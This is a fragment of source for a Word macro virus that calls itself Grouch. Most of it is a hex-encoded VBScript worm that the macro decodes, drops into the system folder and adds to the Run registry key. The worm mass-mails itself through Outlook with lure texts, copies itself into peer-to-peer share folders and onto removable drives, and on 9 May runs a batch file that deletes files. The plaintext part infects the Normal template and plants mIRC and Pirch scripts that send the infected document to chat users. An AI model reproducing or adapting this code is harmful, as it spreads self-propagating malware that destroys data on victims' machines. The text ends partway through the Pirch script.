Tz = Tz + "64652E57726974654C696E6520225072696E742023332C2022224576656E74313D4F4E204A4F494E3A233A2F6463632073656E6420246E"
Tz = Tz + "69636B202222202620416374697665446F63756D656E742E46756C6C4E616D65220D0A5772697465576F726D436F64652E57726974654C"
Tz = Tz + "696E6520225072696E742023332C2022224576656E74436F756E743D312222220D0A5772697465576F726D436F64652E57726974654C69"
Tz = Tz + "6E6520225072696E742023332C2022222222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C"
Tz = Tz + "2022225B3230302D4C6576656C203230305D2222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023"
Tz = Tz + "332C20222255736572436F756E743D302222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C"
Tz = Tz + "2022224576656E74436F756E743D302222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C20"
Tz = Tz + "22222222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022225B3330302D4C6576656C20"
Tz = Tz + "3330305D2222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C20222255736572436F756E74"
Tz = Tz + "3D302222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022224576656E74436F756E743D"
Tz = Tz + "302222220D0A5772697465576F726D436F64652E57726974654C696E6520225072696E742023332C2022222222220D0A5772697465576F"
Tz = Tz + "726D436F64652E57726974654C696E6520225072696E742023332C2022225B3430302D4C6576656C203430305D2222220D0A5772697465"
Tz = Tz + "576F726D436F64652E57726974654C696E6520225072696E742023332C20222255736572436F756E743D302222220D0A5772697465576F"
Tz = Tz + "726D436F64652E57726974654C696E6520225072696E742023332C2022224576656E74436F756E743D302222220D0A5772697465576F72"
Tz = Tz + "6D436F64652E57726974654C696E6520225072696E742023332C2022222222220D0A5772697465576F726D436F64652E57726974654C69"
Tz = Tz + "6E6520225072696E742023332C2022225B3530302D4C6576656C203530305D2222220D0A5772697465576F726D436F64652E5772697465"
Tz = Tz + "4C696E6520225072696E742023332C20222255736572436F756E743D302222220D0A5772697465576F726D436F64652E57726974654C69"
Tz = Tz + "6E6520225072696E742023332C2022224576656E74436F756E743D302222220D0A5772697465576F726D436F64652E57726974654C696E"
Tz = Tz + "652022436C6F7365202333220D0A5772697465576F726D436F64652E57726974654C696E652022456E64204966220D0A5772697465576F"
Tz = Tz + "726D436F64652E57726974654C696E6520224966204C65667428416374697665446F63756D656E742E46756C6C4E616D652C203329203C"
Tz = Tz + "3E202222446F632222205468656E220D0A5772697465576F726D436F64652E57726974654C696E6520225067446972203D205379737465"
Tz = Tz + "6D2E5072697661746550726F66696C65537472696E6728222222222C202222484B45595F4C4F43414C5F4D414348494E455C536F667477"
Tz = Tz + "6172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E22222C20222250726F6772616D46696C657344"
Tz = Tz + "6972222229220D0A5772697465576F726D436F64652E57726974654C696E65202249662066736F2E466F6C646572457869737473282222"
Tz = Tz + "433A5C4B617A61615C4D792053686172656420466F6C646572222229205468656E220D0A5772697465576F726D436F64652E5772697465"
Tz = Tz + "4C696E65202246696C65436F707920416374697665446F63756D656E742E46756C6C4E616D652C202222433A5C4B617A61615C4D792053"
Tz = Tz + "686172656420466F6C6465725C2222202620416374697665446F63756D656E742E4E616D65220D0A5772697465576F726D436F64652E57"
Tz = Tz + "726974654C696E652022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E65202249662066736F2E466F6C64"
Tz = Tz + "657245786973747328506744697220262022225C4B617A61615C4D792053686172656420466F6C646572222229205468656E220D0A5772"
Tz = Tz + "697465576F726D436F64652E57726974654C696E65202246696C65436F707920416374697665446F63756D656E742E46756C6C4E616D65"
Tz = Tz + "2C20506744697220262022225C4B617A61615C4D792053686172656420466F6C6465725C2222202620416374697665446F63756D656E74"
Tz = Tz + "2E4E616D65220D0A5772697465576F726D436F64652E57726974654C696E652022456E64204966220D0A5772697465576F726D436F6465"
Tz = Tz + "2E57726974654C696E65202249662066736F2E466F6C646572457869737473282222433A5C4D7920446F776E6C6F616473222229205468"
Tz = Tz + "656E220D0A5772697465576F726D436F64652E57726974654C696E65202246696C65436F707920416374697665446F63756D656E742E46"
Tz = Tz + "756C6C4E616D652C202222433A5C4D7920446F776E6C6F6164735C2222202620416374697665446F63756D656E742E4E616D65220D0A57"
Tz = Tz + "72697465576F726D436F64652E57726974654C696E652022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E"
Tz = Tz + "65202249662066736F2E466F6C64657245786973747328506744697220262022225C4B615A6141204C6974655C4D792053686172656420"
Tz = Tz + "466F6C646572222229205468656E220D0A5772697465576F726D436F64652E57726974654C696E65202246696C65436F70792041637469"
Tz = Tz + "7665446F63756D656E742E46756C6C4E616D652C20506744697220262022225C4B615A6141204C6974655C4D792053686172656420466F"
Tz = Tz + "6C6465725C2222202620416374697665446F63756D656E742E4E616D65220D0A5772697465576F726D436F64652E57726974654C696E65"
Tz = Tz + "2022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E65202249662066736F2E466F6C646572457869737473"
Tz = Tz + "28506744697220262022225C4265617273686172655C536861726564222229205468656E220D0A5772697465576F726D436F64652E5772"
Tz = Tz + "6974654C696E65202246696C65436F707920416374697665446F63756D656E742E46756C6C4E616D652C20506744697220262022225C42"
Tz = Tz + "65617273686172655C5368617265645C2222202620416374697665446F63756D656E742E4E616D65220D0A5772697465576F726D436F64"
Tz = Tz + "652E57726974654C696E652022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E65202249662066736F2E46"
Tz = Tz + "6F6C64657245786973747328506744697220262022225C45646F6E6B657932303030222229205468656E220D0A5772697465576F726D43"
Tz = Tz + "6F64652E57726974654C696E65202246696C65436F707920416374697665446F63756D656E742E46756C6C4E616D652C20506744697220"
Tz = Tz + "262022225C45646F6E6B6579323030305C2222202620416374697665446F63756D656E742E4E616D65220D0A5772697465576F726D436F"
Tz = Tz + "64652E57726974654C696E652022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E65202249662066736F2E"
Tz = Tz + "466F6C64657245786973747328506744697220262022225C4D6F7270686575735C4D792053686172656420466F6C646572222229205468"
Tz = Tz + "656E220D0A5772697465576F726D436F64652E57726974654C696E65202246696C65436F707920416374697665446F63756D656E742E46"
Tz = Tz + "756C6C4E616D652C20506744697220262022225C4D6F7270686575735C4D792053686172656420466F6C6465725C222220262041637469"
Tz = Tz + "7665446F63756D656E742E4E616D65220D0A5772697465576F726D436F64652E57726974654C696E652022456E64204966220D0A577269"
Tz = Tz + "7465576F726D436F64652E57726974654C696E65202249662066736F2E466F6C64657245786973747328506744697220262022225C4772"
Tz = Tz + "6F6B737465725C4D792047726F6B73746572222229205468656E220D0A5772697465576F726D436F64652E57726974654C696E65202246"
Tz = Tz + "696C65436F707920416374697665446F63756D656E742E46756C6C4E616D652C20506744697220262022225C47726F6B737465725C4D79"
Tz = Tz + "2047726F6B737465725C2222202620416374697665446F63756D656E742E4E616D65220D0A5772697465576F726D436F64652E57726974"
Tz = Tz + "654C696E652022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E65202249662066736F2E466F6C64657245"
Tz = Tz + "786973747328506744697220262022225C4943515C5368617265642046696C6573222229205468656E220D0A5772697465576F726D436F"
Tz = Tz + "64652E57726974654C696E65202246696C65436F707920416374697665446F63756D656E742E46756C6C4E616D652C2050674469722026"
Tz = Tz + "2022225C4943515C5368617265642046696C65735C2222202620416374697665446F63756D656E742E4E616D65220D0A5772697465576F"
Tz = Tz + "726D436F64652E57726974654C696E652022456E64204966220D0A5772697465576F726D436F64652E57726974654C696E652022456E64"
Tz = Tz + "204966220D0A5772697465576F726D436F64652E57726974654C696E652022456E64204966220D0A5772697465576F726D436F64652E57"
Tz = Tz + "726974654C696E652022456E6420537562220D0A5772697465576F726D436F64652E57726974654C696E65202246756E6374696F6E2043"
Tz = Tz + "4D28434E29220D0A5772697465576F726D436F64652E57726974654C696E652022466F72204743203D203120546F204C656E28434E2920"
Tz = Tz + "537465702032220D0A5772697465576F726D436F64652E57726974654C696E652022434D203D20434D2026204368722822222668222220"
Tz = Tz + "26204D696428434E2C2047432C20322929220D0A5772697465576F726D436F64652E57726974654C696E6520224E657874220D0A577269"
Tz = Tz + "7465576F726D436F64652E57726974654C696E652022456E642046756E6374696F6E220D0A5772697465576F726D436F64652E57726974"
Tz = Tz + "654C696E6520222720576F72644D6163726F2F47726F756368206279205A65642F5B72526C665D220D0A5772697465576F726D436F6465"
Tz = Tz + "2E436C6F73650D0A456E642049660D0A4966204F75746C6F6F6B417070203C3E202222205468656E0D0A52616E646F6D697A650D0A5261"
Tz = Tz + "6E646F6D697A650D0A466F72205243203D203120546F20496E742828526E64202A2033202B203129290D0A5231203D2052312026204368"
Tz = Tz + "7228496E7428526E64202A203236202B20363529290D0A4E6578740D0A52616E646F6D697A650D0A526E644E756D626572203D20496E74"
Tz = Tz + "282833202A20526E6429202B2031290D0A53656C656374204361736520526E644E756D6265720D0A4361736520310D0A526E645375626A"
Tz = Tz + "656374203D2022436865636B2074686973206F7574220D0A526E64456D61696C203D2022436865636B206F757420746865736520776562"
Tz = Tz + "206C696E6B732C22202620766243724C662026202249206B6E6F7720796F75206C696B6520746865736520736974657321203B29220D0A"
Tz = Tz + "526E644174746163686D656E74203D2022536974654C696E6B732E766273220D0A4361736520320D0A526E645375626A656374203D2022"
Tz = Tz + "5468652046696C65220D0A526E64456D61696C203D202248656C6C6F2C22202620766243724C66205F0D0A262022486572652069732074"
Tz = Tz + "6861742066696C6520746861742065766572796F6E65207761732061736B696E67206D6520666F722E22202620766243724C66205F0D0A"
Tz = Tz + "262022446F6E2774206C657420616E796F6E6520656C7365207365652069742C20706C656173652C206265636175736520697420636F6E"
Tz = Tz + "7461696E7320736F6D6520707265747479206E617567687479207374756666203B29220D0A526E644174746163686D656E74203D205231"
Tz = Tz + "202620222E766273220D0A4361736520330D0A526E645375626A656374203D2022526561646D652046696C65220D0A526E64456D61696C"
Tz = Tz + "203D202248656C6C6F2C22202620766243724C66205F0D0A2620224920616D2072756E6E696E67206120626974206C6174652E204A7573"
Tz = Tz + "7420726561642074686520526561646D652066696C6520666F72206D6F726520696E666F726D6174696F6E2E22202620766243724C6620"
Tz = Tz + "2620766243724C6620262050434F776E65720D0A526E644174746163686D656E74203D2022526561646D652E766273220D0A456E642053"
Tz = Tz + "656C6563740D0A52616E646F6D697A650D0A526E64467764203D20496E7428283136202A20526E6429202B2031290D0A496620526E6446"
Tz = Tz + "7764203C3E2036205468656E0D0A526E645375626A656374203D20224677643A2022202620526E645375626A6563740D0A456E64204966"
Tz = Tz + "0D0A4966204D6F6E7468284E6F7729203D203520416E6420446179284E6F7729203D2039205468656E0D0A526E645375626A656374203D"
Tz = Tz + "20224677643A2046726565204D7573696321220D0A526E64456D61696C203D202248656C6C6F2122202620766243724C66205F0D0A2620"
Tz = Tz + "22476F20746F20746865736520736974657320746861742049276D2073656E64696E6720746F20796F75206E6F772E2220262076624372"
Tz = Tz + "4C66205F0D0A262022596F752063616E20676574206261736963616C6C7920616E79206D757369632066696C65206F72204D7573696320"
Tz = Tz + "766964656F2066696C65207468617420796F752077616E742122202620766243724C66205F0D0A262022456E6A6F792122202620766243"
Tz = Tz + "4C66202620766243724C6620262050434F776E65720D0A526E644174746163686D656E74203D20224D703353697465732E766273220D0A"
Tz = Tz + "456E642049660D0A472E436F7079202866736F2E4765745370656369616C466F6C646572283129202620225C22202620526E6441747461"
Tz = Tz + "63686D656E74290D0A466F72205365617263684C697374203D203120546F20474E532E416464726573734C697374732E436F756E740D0A"
Tz = Tz + "436F756E744C6F6F70203D20310D0A536574204F75746C6F6F6B456D61696C203D204F75746C6F6F6B4170702E4372656174654974656D"
Tz = Tz + "2830290D0A466F7220536561726368456D61696C73203D203120546F20474E532E416464726573734C69737473285365617263684C6973"
Tz = Tz + "74292E41646472657373456E74726965732E436F756E740D0A5772697465456D61696C53656E74203D207773632E526567526561642822"
Tz = Tz + "484B45595F43555252454E545F555345525C536F6674776172655C5A65642F5B72526C665D5C47726F7563685C312E305C4F75746C6F6F"
Tz = Tz + "6B5C5265636F7264436F6E74616374735C22202620474E532E416464726573734C69737473285365617263684C697374292E4164647265"
Tz = Tz + "7373456E747269657328436F756E744C6F6F7029290D0A4966205772697465456D61696C53656E74203D202222205468656E0D0A4F7574"
Tz = Tz + "6C6F6F6B456D61696C2E526563697069656E74732E41646420474E532E416464726573734C69737473285365617263684C697374292E41"
Tz = Tz + "646472657373456E747269657328436F756E744C6F6F70290D0A7773632E52656757726974652022484B43555C536F6674776172655C5A"
Tz = Tz + "65642F5B72526C665D5C47726F7563685C312E305C4F75746C6F6F6B5C5265636F7264436F6E74616374735C22202620474E532E416464"
Tz = Tz + "726573734C69737473285365617263684C697374292E41646472657373456E747269657328436F756E744C6F6F70292C2022456D61696C"
Tz = Tz + "2053656E74202D20222026204461746556616C7565284E6F77290D0A456E642049660D0A436F756E744C6F6F70203D20436F756E744C6F"
Tz = Tz + "6F70202B20310D0A4E6578740D0A4F75746C6F6F6B456D61696C2E5375626A656374203D20526E645375626A6563743A204F75746C6F6F"
Tz = Tz + "6B456D61696C2E426F6479203D20526E64456D61696C3A204F75746C6F6F6B456D61696C2E496D706F7274616E6365203D20323A204F75"
Tz = Tz + "746C6F6F6B456D61696C2E44656C65746541667465725375626D6974203D20547275653A204F75746C6F6F6B456D61696C2E4174746163"
Tz = Tz + "686D656E74732E4164642066736F2E4765745370656369616C466F6C646572283129202620225C22202620526E644174746163686D656E"
Tz = Tz + "743A204F75746C6F6F6B456D61696C2E53656E640D0A4E6578740D0A474E53203D2022220D0A4F75746C6F6F6B417070203D2022220D0A"
Tz = Tz + "456E642049660D0A49662066736F2E466F6C6465724578697374732822433A5C4B617A61615C4D792053686172656420466F6C64657222"
Tz = Tz + "29205468656E0D0A472E436F7079202822433A5C4B617A61615C4D792053686172656420466F6C6465725C3130303020506F726E205369"
Tz = Tz + "7465732E76627322290D0A472E436F7079202822433A5C4B617A61615C4D792053686172656420466F6C6465725C4861636B696E67206D"
Tz = Tz + "61646520656173792E76627322290D0A472E436F7079202822433A5C4B617A61615C4D792053686172656420466F6C6465725C486F7720"
Tz = Tz + "746F206D616B6520612076697275732E76627322290D0A472E436F7079202822433A5C4B617A61615C4D792053686172656420466F6C64"
Tz = Tz + "65725C486F74204C696E6B732E76627322290D0A472E436F7079202822433A5C4B617A61615C486F7720746F206D616B65206120626F6D"
Tz = Tz + "622E76627322290D0A456E642049660D0A49662066736F2E466F6C646572457869737473285067446972202620225C4B617A61615C4D79"
Tz = Tz + "2053686172656420466F6C6465722229205468656E0D0A472E436F707920285067446972202620225C4B617A61615C4D79205368617265"
Tz = Tz + "6420466F6C6465725C3130303020506F726E2053697465732E76627322290D0A472E436F707920285067446972202620225C4B617A6161"
Tz = Tz + "5C4D792053686172656420466F6C6465725C4861636B696E67206D61646520656173792E76627322290D0A472E436F7079202850674469"
Tz = Tz + "72202620225C4B617A61615C4D792053686172656420466F6C6465725C486F7720746F206D616B6520612076697275732E76627322290D"
Tz = Tz + "0A472E436F707920285067446972202620225C4B617A61615C4D792053686172656420466F6C6465725C486F74204C696E6B732E766273"
Tz = Tz + "22290D0A472E436F707920285067446972202620225C4B617A61615C4D792053686172656420466F6C6465725C486F7720746F206D616B"
Tz = Tz + "65206120626F6D622E76627322290D0A456E642049660D0A49662066736F2E466F6C6465724578697374732822433A5C4D7920446F776E"
Tz = Tz + "6C6F6164732229205468656E0D0A472E436F7079202822433A5C4D7920446F776E6C6F6164735C3130303020506F726E2053697465732E"
Tz = Tz + "76627322290D0A472E436F7079202822433A5C4D7920446F776E6C6F6164735C4861636B696E67206D61646520656173792E7662732229"
Tz = Tz + "0D0A472E436F7079202822433A5C4D7920446F776E6C6F6164735C486F7720746F206D616B6520612076697275732E76627322290D0A47"
Tz = Tz + "2E436F7079202822433A5C4D7920446F776E6C6F6164735C486F74204C696E6B732E76627322290D0A472E436F7079202822433A5C4D79"
Tz = Tz + "20446F776E6C6F6164735C486F7720746F206D616B65206120626F6D622E76627322290D0A456E642049660D0A49662066736F2E466F6C"
Tz = Tz + "646572457869737473285067446972202620225C4B615A6141204C6974655C4D792053686172656420466F6C6465722229205468656E0D"
Tz = Tz + "0A472E436F707920285067446972202620225C4B615A6141204C6974655C4D792053686172656420466F6C6465725C3130303020506F72"
Tz = Tz + "6E2053697465732E76627322290D0A472E436F707920285067446972202620225C4B615A6141204C6974655C4D79205368617265642046"
Tz = Tz + "6F6C6465725C4861636B696E67206D61646520656173792E76627322290D0A472E436F707920285067446972202620225C4B615A614120"
Tz = Tz + "4C6974655C4D792053686172656420466F6C6465725C486F7720746F206D616B6520612076697275732E76627322290D0A472E436F7079"
Tz = Tz + "20285067446972202620225C4B615A6141204C6974655C4D792053686172656420466F6C6465725C486F74204C696E6B732E7662732229"
Tz = Tz + "0D0A472E436F707920285067446972202620225C4B615A6141204C6974655C4D792053686172656420466F6C6465725C486F7720746F20"
Tz = Tz + "6D616B65206120626F6D622E76627322290D0A456E642049660D0A49662066736F2E466F6C646572457869737473285067446972202620"
Tz = Tz + "225C4265617273686172655C5368617265642229205468656E0D0A472E436F707920285067446972202620225C4265617273686172655C"
Tz = Tz + "5368617265645C3130303020506F726E2053697465732E76627322290D0A472E436F707920285067446972202620225C42656172736861"
Tz = Tz + "72655C5368617265645C4861636B696E67206D61646520656173792E76627322290D0A472E436F707920285067446972202620225C4265"
Tz = Tz + "617273686172655C5368617265645C486F7720746F206D616B6520612076697275732E76627322290D0A472E436F707920285067446972"
Tz = Tz + "202620225C4265617273686172655C5368617265645C486F74204C696E6B732E76627322290D0A472E436F707920285067446972202620"
Tz = Tz + "225C4265617273686172655C5368617265645C486F7720746F206D616B65206120626F6D622E76627322290D0A456E642049660D0A4966"
Tz = Tz + "2066736F2E466F6C646572457869737473285067446972202620225C45646F6E6B6579323030302229205468656E0D0A472E436F707920"
Tz = Tz + "285067446972202620225C45646F6E6B6579323030305C3130303020506F726E2053697465732E76627322290D0A472E436F7079202850"
Tz = Tz + "67446972202620225C45646F6E6B6579323030305C4861636B696E67206D61646520656173792E76627322290D0A472E436F7079202850"
Tz = Tz + "67446972202620225C45646F6E6B6579323030305C486F7720746F206D616B6520612076697275732E76627322290D0A472E436F707920"
Tz = Tz + "285067446972202620225C45646F6E6B6579323030305C486F74204C696E6B732E76627322290D0A472E436F7079202850674469722026"
Tz = Tz + "20225C45646F6E6B6579323030305C486F7720746F206D616B65206120626F6D622E76627322290D0A456E642049660D0A49662066736F"
Tz = Tz + "2E466F6C646572457869737473285067446972202620225C4D6F7270686575735C4D792053686172656420466F6C646572222920546865"
Tz = Tz + "6E0D0A472E436F707920285067446972202620225C4D6F7270686575735C4D792053686172656420466F6C6465725C3130303020506F72"
Tz = Tz + "6E2053697465732E76627322290D0A472E436F707920285067446972202620225C4D6F7270686575735C4D792053686172656420466F6C"
Tz = Tz + "6465725C4861636B696E67206D61646520656173792E76627322290D0A472E436F707920285067446972202620225C4D6F727068657573"
Tz = Tz + "5C4D792053686172656420466F6C6465725C486F7720746F206D616B6520612076697275732E76627322290D0A472E436F707920285067"
Tz = Tz + "446972202620225C4D6F7270686575735C4D792053686172656420466F6C6465725C486F74204C696E6B732E76627322290D0A472E436F"
Tz = Tz + "707920285067446972202620225C4D6F7270686575735C4D792053686172656420466F6C6465725C486F7720746F206D616B6520612062"
Tz = Tz + "6F6D622E76627322290D0A456E642049660D0A49662066736F2E466F6C646572457869737473285067446972202620225C47726F6B7374"
Tz = Tz + "65725C4D792047726F6B737465722229205468656E0D0A472E436F707920285067446972202620225C47726F6B737465725C4D79204772"
Tz = Tz + "6F6B737465725C3130303020506F726E2053697465732E76627322290D0A472E436F707920285067446972202620225C47726F6B737465"
Tz = Tz + "725C4D792047726F6B737465725C4861636B696E67206D61646520656173792E76627322290D0A472E436F707920285067446972202620"
Tz = Tz + "225C47726F6B737465725C4D792047726F6B737465725C486F7720746F206D616B6520612076697275732E76627322290D0A472E436F70"
Tz = Tz + "7920285067446972202620225C47726F6B737465725C4D792047726F6B737465725C486F74204C696E6B732E76627322290D0A472E436F"
Tz = Tz + "707920285067446972202620225C47726F6B737465725C4D792047726F6B737465725C486F7720746F206D616B65206120626F6D622E76"
Tz = Tz + "627322290D0A456E642049660D0A49662066736F2E466F6C646572457869737473285067446972202620225C4943515C53686172656420"
Tz = Tz + "46696C65732229205468656E0D0A472E436F707920285067446972202620225C4943515C5368617265642046696C65735C313030302050"
Tz = Tz + "6F726E2053697465732E76627322290D0A472E436F707920285067446972202620225C4943515C5368617265642046696C65735C486163"
Tz = Tz + "6B696E67206D61646520656173792E76627322290D0A472E436F707920285067446972202620225C4943515C5368617265642046696C65"
Tz = Tz + "735C486F7720746F206D616B6520612076697275732E76627322290D0A472E436F707920285067446972202620225C4943515C53686172"
Tz = Tz + "65642046696C65735C486F74204C696E6B732E76627322290D0A472E436F707920285067446972202620225C4943515C53686172656420"
Tz = Tz + "46696C65735C486F7720746F206D616B65206120626F6D622E76627322290D0A456E642049660D0A466F72204561636820447269766543"
Tz = Tz + "6F756E7420496E2066736F2E4472697665730D0A4966204472697665436F756E742E447269766554797065203D2032204F722044726976"
Tz = Tz + "65436F756E742E447269766554797065203D2033205468656E0D0A4966204472697665436F756E742E49735265616479205468656E0D0A"
Tz = Tz + "4966205543617365284472697665436F756E742E5061746829203C3E2022433A22205468656E0D0A472E436F707920284472697665436F"
Tz = Tz + "756E742E50617468202620225C536176656420446F63756D656E74202822202620446179284E6F772920262022292E76627322290D0A45"
Tz = Tz + "6E642049660D0A456E642049660D0A456E642049660D0A4E6578740D0A436865636B576F726D4B6579203D207773632E52656752656164"
Tz = Tz + "2822484B45595F43555252454E545F555345525C536F6674776172655C5A65642F5B72526C665D5C47726F7563685C312E305C22290D0A"
Tz = Tz + "496620436865636B576F726D4B6579203D20225642532F47726F756368206279205A65642F5B72526C665D22205468656E0D0A49662044"
Tz = Tz + "6179284E6F7729203D203920416E64204D6F6E7468284E6F7729203D2035205468656E0D0A436865636B57696E5850203D207773632E52"
Tz = Tz + "6567526561642822484B45595F4C4F43414C5F4D414348494E455C536F6674776172655C4D6963726F736F66745C57696E646F77735C43"
Tz = Tz + "757272656E7456657273696F6E5C56657273696F6E22290D0A496620496E53747228312C204C4361736528436865636B57696E5850292C"
Tz = Tz + "202278702229203D2054727565205468656E0D0A536574205772697465466F726D6174203D2066736F2E4372656174655465787446696C"
Tz = Tz + "652866736F2E4765745370656369616C466F6C646572283029202620225C416E6772792E626174222C2054727565290D0A577269746546"
Tz = Tz + "6F726D61742E57726974654C696E652022404563686F204F6666220D0A5772697465466F726D61742E57726974654C696E65202244656C"
Tz = Tz + "74726565202F79202A2E2A220D0A5772697465466F726D61742E436C6F73650D0A4D73675850203D204D7367426F78282257696E646F77"
Tz = Tz + "73205850206E6F7720686173207065726D616E656E74206572726F7273222C207662437269746963616C2C202257696E646F7773205850"
Tz = Tz + "204572726F7222290D0A4966204D73675850203D2076624F4B205468656E0D0A49662066736F2E46696C654578697374732866736F2E47"
Tz = Tz + "65745370656369616C466F6C646572283029202620225C416E6772792E6261742229205468656E0D0A7773632E52756E2066736F2E4765"
Tz = Tz + "745370656369616C466F6C646572283029202620225C416E6772792E626174222C20302C2046616C73650D0A456E642049660D0A456E64"
Tz = Tz + "2049660D0A456E642049660D0A456E642049660D0A456E642049660D0A7773632E52656757726974652022484B43555C536F6674776172"
Tz = Tz + "655C5A65642F5B72526C665D5C47726F7563685C312E305C222C20225642532F47726F756368206279205A65642F5B72526C665D220D0A"
Tz = Tz + "7772642E4170706C69636174696F6E2E517569740D0A446F0D0A4966204E6F742066736F2E46696C654578697374732853797344697220"
Tz = Tz + "2620225C4D5347726333322E7662732229205468656E0D0A472E436F70792028537973446972202620225C4D5347726333322E76627322"
Tz = Tz + "290D0A456E642049660D0A526567697374727952756E4B6579203D207773632E526567526561642822484B45595F4C4F43414C5F4D4143"
Tz = Tz + "48494E455C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E5C4D534772"
Tz = Tz + "63333222290D0A4966204E6F7420526567697374727952756E4B6579203D2022577363726970742E657865202220262053797344697220"
Tz = Tz + "2620225C4D5347726333322E76627320253122205468656E0D0A7773632E52656757726974652022484B4C4D5C536F6674776172655C4D"
Tz = Tz + "6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E5C4D534772633332222C2022577363726970742E"
Tz = Tz + "6578652022202620537973446972202620225C4D5347726333322E766273202531220D0A456E642049660D0A5265616446696C654E616D"
Tz = Tz + "65203D207773632E526567526561642822484B45595F43555252454E545F555345525C536F6674776172655C5A65642F5B72526C665D5C"
Tz = Tz + "47726F7563685C312E305C526E64436F707922290D0A4966205265616446696C654E616D65203C3E20222220416E64207773632E537065"
Tz = Tz + "6369616C466F6C646572732822537461727475702229203C3E202222205468656E0D0A4966204E6F742066736F2E46696C654578697374"
Tz = Tz + "73287773632E5370656369616C466F6C646572732822537461727475702229202620225C222026205265616446696C654E616D65202620"
Tz = Tz + "222E7662732229205468656E0D0A472E436F707920287773632E5370656369616C466F6C64657273282253746172747570222920262022"
Tz = Tz + "5C222026205265616446696C654E616D65202620222E76627322290D0A456E642049660D0A456E642049660D0A4C6F6F70"
Open fso.GetSpecialFolder(1) & "\MSGrc32.vbs" For Output As #1
Print #1, CM(Tz)
Close #1
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "MSGrc32") = "Wscript.exe " & fso.GetSpecialFolder(1) & "\MSGrc32.vbs %1"
End If
If Not NormalTemplate.VBProject.VBComponents.Item("Grouch").Name = "Grouch" Then ActiveDocument.VBProject.VBComponents("Grouch").Export fso.GetSpecialFolder(1) & "\WinGrc32.dll": NormalTemplate.VBProject.VBComponents.Import fso.GetSpecialFolder(1) & "\WinGrc32.dll"
If Not ActiveDocument.VBProject.VBComponents.Item("Grouch").Name = "Grouch" Then NormalTemplate.VBProject.VBComponents("Grouch").Export fso.GetSpecialFolder(1) & "\WinGrc32.dll": ActiveDocument.VBProject.VBComponents.Import fso.GetSpecialFolder(1) & "\WinGrc32.dll"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Kazaa\Transfer", "DlDir0") <> "" Then
MkDir fso.GetSpecialFolder(1) & "\KazaaShared"
If InStr(1, ActiveDocument.Name, "Document") = False Then
ActiveDocument.SaveAs FileName:=fso.GetSpecialFolder(1) & "\KazaaShared\" & ActiveDocument.Name
ActiveDocument.Saved = True
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Kazaa\Transfer", "DlDir1") = fso.GetSpecialFolder(1) & "\KazaaShared"
End If
If InStr(1, ActiveDocument.Name, "Document") = True Then
ActiveDocument.Saved = True
Else
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
Set wsc = CreateObject("WScript.Shell")
If Dir("C:\Mirc\Mirc.ini") = "Mirc.ini" Then ScriptPath = "C:\Mirc"
If Dir("C:\Mirc32\Mirc.ini") = "Mirc.ini" Then ScriptPath = "C:\Mirc32"
If Dir("C:\Program Files\Mirc\Minc.ini") = "Mirc.ini" Then ScriptPath = "C:\Program Files\Mirc"
If Dir("C:\Programme\Mirc\Minc.ini") = "Mirc.ini" Then ScriptPath = "C:\Programme\Mirc"
If Dir("C:\Programmi\Mirc\Minc.ini") = "Mirc.ini" Then ScriptPath = "C:\Programmi\Mirc"
If Dir("C:\Program Files\Mirc32\Minc.ini") = "Mirc.ini" Then ScriptPath = "C:\Program Files\Mirc32"
If Dir("C:\Programme\Mirc32\Minc.ini") = "Mirc.ini" Then ScriptPath = "C:\Programme\Mirc32"
If Dir("C:\Programmi\Mirc32\Minc.ini") = "Mirc.ini" Then ScriptPath = "C:\Programmi\Mirc32"
If Not ScriptPath = "" Then
Open ScriptPath & "\script.ini" For Output As #2
Print #2, "[script]"
Print #2, "n5= on 1:JOIN:#:{"
Print #2, "n6= /if ( $nick == $me ) { halt }"
Print #2, "n7= /msg $nick Here is that document you wanted :)"
Print #2, "n8= /dcc send -c $nick " & ActiveDocument.FullName
Print #2, "n9= }"
Close #2
End If
If Dir("C:\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch"
If Dir("C:\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch32"
If Dir("C:\Program Files\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Program Files\Pirch"
If Dir("C:\Programme\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Programme\Pirch"
If Dir("C:\Programmi\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Programmi\Pirch"
If Dir("C:\Program Files\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Program Files\Pirch32"
If Dir("C:\Programme\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Programme\Pirch32"
If Dir("C:\Programmi\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Programmi\Pirch32"
If Not PirchPath = "" Then
Open PirchPath & "\events.ini" For Output As #3
Print #3, "[Levels]"
Print #3, "Enabled=1"
Print #3, "Count=6"
Print #3, "Level1=000-Unknowns"
Print #3, "000-UnknownsEnabled=1"
Print #3, "Level2=100-Level 100"
Print #3, "100-Level 100Enabled=1"
Print #3, "Level3=200-Level 200"
Print #3, "200-Level 200Enabled=1"
Print #3, "Level4=300-Level 300"
Print #3, "300-Level 300Enabled=1"
Print #3, "Level5=400-Level 400"
Print #3, "400-Level 400Enabled=1"
Print #3, "Level6=500-Level 500"
